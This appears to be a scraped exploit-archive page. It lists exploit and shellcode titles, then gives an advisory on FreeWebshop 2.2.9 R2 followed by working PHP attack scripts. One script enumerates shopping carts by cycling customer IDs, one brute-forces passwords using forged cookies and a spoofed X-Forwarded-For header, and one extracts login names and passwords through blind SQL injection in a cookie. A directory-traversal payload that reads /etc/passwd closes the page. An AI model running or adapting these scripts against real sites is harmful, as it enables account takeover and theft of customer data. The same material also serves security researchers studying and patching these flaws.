
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
114 lines
No EOL
3.1 KiB
PHP
114 lines
No EOL
3.1 KiB
PHP
source: https://www.securityfocus.com/bid/37513/info
|
|
|
|
FreeWebshop is prone to multiple remote vulnerabilities:
|
|
|
|
1. A security vulnerability that may allow attackers to spoof HTTP headers.
|
|
2. A security vulnerability involving the handling of sessions.
|
|
3. A security vulnerability that may allow attackers to brute-force passwords.
|
|
4. A security-bypass vulnerability.
|
|
5. An SQL-injection vulnerability.
|
|
6. A directory-traversal vulnerability.
|
|
|
|
Exploiting these issues could allow an attacker to compromise the application, access or modify data, exploit latent vulnerabilities, gain unauthorized access to the affected application, and obtain sensitive information.
|
|
|
|
FreeWebshop.org 2.2.9 R2 is vulnerable; other versions may also be affected.
|
|
|
|
<?php
|
|
$url = "http://127.0.0.1/index.php?page=cart&action=show";
|
|
$max = 1000;
|
|
|
|
for($customerid = 1; $customerid <= $max; $customerid++)
|
|
{
|
|
echo "<h3>Customerid: " . $customerid .
|
|
"</h3>\n";
|
|
$ch = curl_init($url);
|
|
curl_setopt($ch, CURLOPT_HEADER, FALSE);
|
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
|
|
curl_setopt($ch, CURLOPT_COOKIE, "fws_guest=" . $customerid);
|
|
$result = curl_exec($ch);
|
|
curl_close($ch);
|
|
$result = str_replace("\n", "", $result);
|
|
preg_match("/(Wat zit er in uw winkelwagen.*)<\/table>/", $result,
|
|
$matches);
|
|
echo strip_tags($matches[1]);
|
|
}
|
|
?>
|
|
|
|
<?php
|
|
$url = "http://127.0.0.1/index.php?page=main";
|
|
$max = 1000;
|
|
$passwords = array("admin_1234", "admin", "password");
|
|
$ipspoof = "127.0.0.1";
|
|
|
|
for($customerid = 1; $customerid <= $max; $customerid++)
|
|
{
|
|
foreach($passwords as $password)
|
|
{
|
|
$cookie = "fws_cust=foobar-" . $customerid . "-" . md5(md5($password));
|
|
$ch = curl_init($url);
|
|
curl_setopt($ch, CURLOPT_HEADER, FALSE);
|
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
|
|
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
|
|
curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Forwarded-For: " .
|
|
$ipspoof . "\n"));
|
|
$result = curl_exec($ch);
|
|
curl_close($ch);
|
|
if(preg_match("/Persoonlijke pagina/", $result))
|
|
{
|
|
echo "Found password: " . $password . " for customerid: " .
|
|
$customerid . "<br>\n";
|
|
echo "Cookie: " . $cookie . "<br>\n";
|
|
}
|
|
}
|
|
}
|
|
?>
|
|
|
|
<?php
|
|
$url = "http://127.0.0.1/index.php?page=main";
|
|
$tablename = "fws_customer";
|
|
$fieldnames = array("LOGINNAME", "PASSWORD", "IP");
|
|
$userid = 1;
|
|
$loginname = "";
|
|
$password = "";
|
|
$ip = "";
|
|
|
|
foreach($fieldnames as $fieldname)
|
|
{
|
|
$index = 1;
|
|
echo $fieldname . ": ";
|
|
while(TRUE)
|
|
{
|
|
$ch = curl_init($url);
|
|
curl_setopt($ch, CURLOPT_HEADER, FALSE);
|
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
|
|
curl_setopt($ch, CURLOPT_COOKIE,
|
|
"fws_cust=fubar-0)+UNION+SELECT+1%2C2%2C3%2C4%2C5%2C6%
|
|
2CASCII(SUBSTRING(" .
|
|
$fieldname . "%2C" . $index . "%2C1))%2C8+FROM+" . $tablename .
|
|
"+WHERE+ID%3D" . $userid . "%2F*-md5");
|
|
$result = curl_exec($ch);
|
|
curl_close($ch);
|
|
preg_match("/Winkelwagen \((\d+)\)/", $result, $matches);
|
|
if(intval($matches[1]) == 0)
|
|
{
|
|
break;
|
|
}
|
|
switch($fieldname)
|
|
{
|
|
case "LOGINNAME":
|
|
$loginname .= chr($matches[1]);
|
|
break;
|
|
case "PASSWORD":
|
|
$password .= chr($matches[1]);
|
|
break;
|
|
case "IP":
|
|
$ip .= chr($matches[1]);
|
|
break;
|
|
}
|
|
echo chr($matches[1]);
|
|
$index++;
|
|
}
|
|
echo "<br>\n";
|
|
}
|
|
|
|
../../../../../../../etc/passwd%00
|